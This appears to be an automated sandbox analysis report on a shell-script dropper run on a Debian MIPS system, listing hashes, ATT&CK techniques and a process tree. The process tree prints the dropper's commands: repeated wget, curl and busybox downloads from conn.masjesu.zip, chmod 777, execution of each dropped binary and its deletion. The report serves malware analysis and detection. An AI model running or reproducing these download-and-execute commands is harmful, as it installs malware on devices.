f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004

Analysis

max time kernel
150s
max time network
156s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/11/2024, 02:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
Size 10KB
Sample241118-ddln9swmcw
SHA256 f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004
MD5 e91fd2b1f1e5c7636a5f59c96c00d3dc
SHA1 e39a86140a233631ca5a34a77808687b6f122578
SHA512 02e430595f8f1fb6f86f46a470da6a5462bb0be97dd7cb1bed9b9a2d4e9347c1b9e6f2101f4c564008a7473881430f0ee93480dba13f27ee29bd5850be6184fa
SSDEEP 96:YXr1YNGltt9yKQLMQ6LwsTfL/TtLTXXTSARJApBWHWHGHpcGjiL2P2j2jOgOcOKE:3u7fNnGyO6w1O6pH
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 19 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
835	chmod
893	chmod
907	chmod
928	chmod
935	chmod
770	chmod
886	chmod
900	chmod
914	chmod
850	chmod
820	chmod
828	chmod
873	chmod
921	chmod
942	chmod
755	chmod
745	chmod
793	chmod
736	chmod

Executes dropped EXE 19 IoCs

Reads runtime system information 19 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 55 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
758	wget
885	busybox
910	wget
913	busybox
939	curl
941	busybox
818	busybox
855	wget
878	wget
906	busybox
832	curl
904	curl
749	curl
754	busybox
780	curl
799	wget
925	curl
932	curl
712	wget
789	busybox
720	curl
759	curl
847	busybox
920	busybox
938	wget
834	busybox
899	busybox
918	curl
889	wget
892	busybox
744	busybox
927	busybox
870	busybox
896	wget
903	wget
911	curl
917	wget
924	wget
931	wget
765	busybox
807	curl
831	wget
838	wget
945	wget
735	busybox
775	wget
883	curl
897	curl
740	wget
748	wget
742	curl
860	curl
934	busybox
839	curl
890	curl

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	curl
File opened for modification	/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	curl
File opened for modification	/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	curl
File opened for modification	/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	curl
File opened for modification	/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	curl
File opened for modification	/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	curl
File opened for modification	/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	curl
File opened for modification	/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	curl
File opened for modification	/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	curl
File opened for modification	/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	curl
File opened for modification	/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	curl
File opened for modification	/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	curl
File opened for modification	/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	curl
File opened for modification	/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	curl
File opened for modification	/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	curl
File opened for modification	/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	curl
File opened for modification	/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	curl
File opened for modification	/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	curl
File opened for modification	/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	curl

/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:712
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:735
- /bin/chmod
  chmod 777 HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  ./HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:739
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - System Network Configuration Discovery
  PID:740
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod 777 q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  ./q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  PID:747
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - System Network Configuration Discovery
  PID:754
- /bin/chmod
  chmod 777 wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  ./wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
  2⤵
  PID:757
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/chmod
  chmod 777 cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  ./cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
  2⤵
  PID:774
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:775
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:780
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - System Network Configuration Discovery
  PID:789
- /bin/chmod
  chmod 777 sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  ./sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
  2⤵
  PID:797
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - System Network Configuration Discovery
  PID:799
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - System Network Configuration Discovery
  PID:818
- /bin/chmod
  chmod 777 fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  ./fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
  2⤵
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:827
- /bin/chmod
  chmod 777 zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  ./zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
  2⤵
  PID:830
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - System Network Configuration Discovery
  PID:831
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod 777 cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  ./cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - System Network Configuration Discovery
  PID:847
- /bin/chmod
  chmod 777 KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  ./KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
  2⤵
  PID:854
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:855
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:870
- /bin/chmod
  chmod 777 BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  ./BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  PID:877
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:878
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod 777 gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  ./gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:892
- /bin/chmod
  chmod 777 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  ./4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  PID:895
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:896
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:899
- /bin/chmod
  chmod 777 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  ./1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:902
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:903
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  ./32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - System Network Configuration Discovery
  PID:913
- /bin/chmod
  chmod 777 BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  ./BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - System Network Configuration Discovery
  PID:920
- /bin/chmod
  chmod 777 gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  ./gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - System Network Configuration Discovery
  PID:927
- /bin/chmod
  chmod 777 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  ./4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm 4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
  2⤵
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  ./1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm 1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB
  ./32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm 32XNpFNsEQXEG94McQ863EKenoyYylBICB
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:945

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh

Path /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	738	HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
/tmp/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq	746	q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
/tmp/wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl	756	wn8TTXnxhubF4y8T7OQXWWIkhLC3ixCUAl
/tmp/cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO	771	cfNSefsRobr6WTSAYH7WdEXx0itTyWTGJO
/tmp/sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635	794	sOsIjyYb88lWQl4wGtc4g46EqqjzgaF635
/tmp/fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq	821	fY8x8pljjJ7JIcYVBSAuxDlUKreXROgkhq
/tmp/zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0	829	zAhU9TWcI0PQznx3iKApqpxqES7uEzy7d0
/tmp/cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3	836	cW94wUeQKpP3bnc1mz3arl8gJ1qb6oCMq3
/tmp/KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU	851	KF7yBUiWOImNhALnzm2V3qFbL2DpUtFMVU
/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	874	BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	887	gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	894	4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	901	1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	908	32XNpFNsEQXEG94McQ863EKenoyYylBICB
/tmp/BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP	915	BS5hBWooOfDc3xbjLMIiZUaS3yIQlPIvqP
/tmp/gR7tVwulG8humu64kRs6nMs9lO2G0vCRti	922	gR7tVwulG8humu64kRs6nMs9lO2G0vCRti
/tmp/4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G	929	4o31XdNldelUplJUvTpoq9qDfTCxGT1I0G
/tmp/1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g	936	1TrXLRPK4UAUoOvNaQ9gVQPbxFZEXBgI8g
/tmp/32XNpFNsEQXEG94McQ863EKenoyYylBICB	943	32XNpFNsEQXEG94McQ863EKenoyYylBICB